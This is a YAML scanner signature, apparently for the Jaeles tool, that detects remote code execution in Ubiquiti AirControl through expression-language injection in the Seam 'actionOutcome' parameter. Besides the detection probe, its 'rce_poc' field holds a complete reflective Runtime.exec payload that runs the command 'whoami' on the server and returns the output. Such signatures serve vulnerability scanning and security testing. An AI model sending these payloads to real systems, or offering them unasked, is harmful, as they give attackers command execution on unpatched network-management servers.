aircontrol-rce.yaml

id: aircontrol-rce
info:
  name: AirControl RCE
  risk: Critical

params:
  - root: '{{.BaseURL}}'

variables:
  - endpoint: |
      /.seam
      /home.seam

requests:
  - method: GET
    redirect: false
    url: >-
      {{.root}}{{.endpoint}}?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName(%27java.lang.Runtime%27).getDeclaredMethods()[7]}
    headers:
      - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36
    detections:
      - >-
        StatusCode() == 302 && StringSearch("resHeader", "pwn.seam") && StringSearch("resHeader", "?pwned=")

references:
  - vendor: https://www.ui.com/download/utilities/default/default/aircontrol-20-user-guide
  - author: 0xd0ff9 & j3ssie
  - rce_poc: |
      /.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.io.BufferedReader').getDeclaredMethod('readLine').invoke(''.getClass().forName('java.io.BufferedReader').getConstructor(''.getClass().forName('java.io.Reader')).newInstance(''.getClass().forName('java.io.InputStreamReader').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Process').getDeclaredMethod('getInputStream').invoke(''.getClass().forName('java.lang.Runtime').getDeclaredMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(null),'whoami')))))}